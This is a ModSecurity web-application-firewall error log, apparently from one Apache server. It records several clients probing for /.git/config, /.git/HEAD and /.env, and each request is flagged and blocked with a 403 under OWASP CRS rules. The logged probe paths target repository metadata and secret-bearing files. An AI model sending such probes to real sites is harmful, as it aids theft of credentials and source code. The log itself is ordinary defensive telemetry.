[Sat Jul 05 06:30:31.360966 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9gAAAAM&quot;]
[Sat Jul 05 06:30:31.361185 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9gAAAAM&quot;]
[Sat Jul 05 06:30:31.361369 2025] [:error] [pid 945017] [client 34.162.135.97:37670] [client 34.162.135.97] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGiqZwYPiW9TpyX8Dsay9gAAAAM&quot;]
[Sat Jul 05 10:15:51.327305 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5QAAAAY&quot;]
[Sat Jul 05 10:15:51.328234 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5QAAAAY&quot;]
[Sat Jul 05 10:15:51.328444 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5QAAAAY&quot;]
[Sat Jul 05 10:15:51.465891 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5gAAAAY&quot;]
[Sat Jul 05 10:15:51.466104 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5gAAAAY&quot;]
[Sat Jul 05 10:15:51.466284 2025] [:error] [pid 945204] [client 34.162.128.241:53634] [client 34.162.128.241] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGjfN530TDEiU-DmXzLZ5gAAAAY&quot;]
[Sat Jul 05 11:56:37.302321 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTAAAAAA&quot;]
[Sat Jul 05 11:56:37.302644 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTAAAAAA&quot;]
[Sat Jul 05 11:56:37.302855 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTAAAAAA&quot;]
[Sat Jul 05 11:56:37.414754 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTQAAAAA&quot;]
[Sat Jul 05 11:56:37.414967 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTQAAAAA&quot;]
[Sat Jul 05 11:56:37.415142 2025] [:error] [pid 945014] [client 34.162.177.31:60858] [client 34.162.177.31] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGj21cq4zXHhTgDcWkZbTQAAAAA&quot;]
[Sat Jul 05 13:16:10.819152 2025] [:error] [pid 945017] [client 77.90.153.170:35652] [client 77.90.153.170] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkJegYPiW9TpyX8DsazFwAAAAM&quot;]
[Sat Jul 05 13:16:10.819457 2025] [:error] [pid 945017] [client 77.90.153.170:35652] [client 77.90.153.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkJegYPiW9TpyX8DsazFwAAAAM&quot;]
[Sat Jul 05 13:16:10.819627 2025] [:error] [pid 945017] [client 77.90.153.170:35652] [client 77.90.153.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkJegYPiW9TpyX8DsazFwAAAAM&quot;]
[Sat Jul 05 15:09:55.178851 2025] [:error] [pid 945015] [client 198.55.98.91:53008] [client 198.55.98.91] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkkI4nQ3HXSURt4X9K-QwAAAAE&quot;]
[Sat Jul 05 15:09:55.179209 2025] [:error] [pid 945015] [client 198.55.98.91:53008] [client 198.55.98.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkkI4nQ3HXSURt4X9K-QwAAAAE&quot;]
[Sat Jul 05 15:09:55.179401 2025] [:error] [pid 945015] [client 198.55.98.91:53008] [client 198.55.98.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGkkI4nQ3HXSURt4X9K-QwAAAAE&quot;]
[Sat Jul 05 18:34:17.010726 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAQAAAAY&quot;]
[Sat Jul 05 18:34:17.010963 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAQAAAAY&quot;]
[Sat Jul 05 18:34:17.011131 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAQAAAAY&quot;]
[Sat Jul 05 18:34:17.121806 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAgAAAAY&quot;]
[Sat Jul 05 18:34:17.122029 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAgAAAAY&quot;]
[Sat Jul 05 18:34:17.122220 2025] [:error] [pid 945204] [client 34.162.27.173:54828] [client 34.162.27.173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aGlUCZ30TDEiU-DmXzLaAgAAAAY&quot;]
[Sat Jul 05 18:44:05.838433 2025] [:error] [pid 945014] [client 98.81.251.210:35160] [client 98.81.251.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGlWVcq4zXHhTgDcWkZbZgAAAAA&quot;]
[Sat Jul 05 18:44:05.838709 2025] [:error] [pid 945014] [client 98.81.251.210:35160] [client 98.81.251.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGlWVcq4zXHhTgDcWkZbZgAAAAA&quot;]
[Sat Jul 05 18:44:05.838894 2025] [:error] [pid 945014] [client 98.81.251.210:35160] [client 98.81.251.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aGlWVcq4zXHhTgDcWkZbZgAAAAA&quot;]
[Sat Jul 05 19:32:20.170812 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMAAAAAM&quot;]
[Sat Jul 05 19:32:20.171204 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMAAAAAM&quot;]
[Sat Jul 05 19:32:20.171415 2025] [:error] [pid 945017] [client 34.162.213.107:49170] [client 34.162.213.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aGlhpAYPiW9TpyX8DsazMAAAAAM&quot;]
